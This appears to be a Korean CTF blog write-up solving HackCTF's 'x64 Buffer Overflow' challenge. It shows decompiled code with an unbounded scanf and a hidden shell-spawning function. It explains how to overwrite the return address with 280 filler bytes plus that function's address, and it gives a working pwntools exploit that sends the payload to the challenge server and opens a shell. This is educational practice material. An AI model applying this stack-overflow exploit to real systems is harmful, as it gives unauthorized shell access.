x64 Buffer Overflow 풀이
2021. 6. 16. 01:54ㆍHackCTF
728x90
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-110h]
int v5; // [rsp+11Ch] [rbp-4h]
_isoc99_scanf("%s", &s, envp);
v5 = strlen(&s);
printf("Hello %s\n", &s);
return 0;
}
int callMeMaybe()
{
char *path; // [rsp+0h] [rbp-20h]
const char *v2; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
path = "/bin/bash";
v2 = "-p";
v3 = 0LL;
return execve("/bin/bash", &path, 0LL);
}
이 코드들은 64bof_basic 파일에 있는 main, callMeMaybe 함수를 IDA를 사용하여 C로 변환한 코드입니다.
main 함수부터 설명하겠습니다.
char형 배열 s와 int형 변수 v5를 만듭니다.
그리고 s를 입력받습니다.
이제부터 차근차근 보겠습니다.
여기서 우리가 주목해야 할 부분은 "%s"입니다.
입력받는 문자열의 길이가 정해져 있지 않으니 Buffer Overflow를 낼 수 있습니다.
이때의 버퍼는 rbp-0x110입니다.
callMeMaybe 함수는 shell을 반환하는 함수인 것 같습니다.
그리고 Return Address는 rbp+0x8의 위치에 있으니 0x118(=280)까지 쓰레기 값을 채우고,
그 뒤를 callMeMaybe 함수의 주소 값으로 덮어 씌웁니다.
이렇게 되면 main 함수가 끝났을 때 정상적인 주소가 아니라 callMeMaybe 함수로 가게 됩니다.
(callMeMaybe 함수의 주소 값은 info function으로 찾으면 됩니다!)
from pwn import *
pause()
a=remote("ctf.j0n9hyun.xyz",3004)
b='a'*280+p64(0x400606)
a.sendline(b)
a.interactive()
이렇게 짜인 코드를 컴파일하고 실행해보겠습니다.
728x90
'HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 풀이 (0) | 2021.07.14 |
---|---|
x64 Simple_size_BOF 풀이 (0) | 2021.07.13 |
내 버퍼가 흘러넘친다!!! 풀이 (0) | 2021.07.12 |
Basic_BOF #2 풀이 (0) | 2021.06.16 |
Basic_BOF #1 풀이 (0) | 2021.06.15 |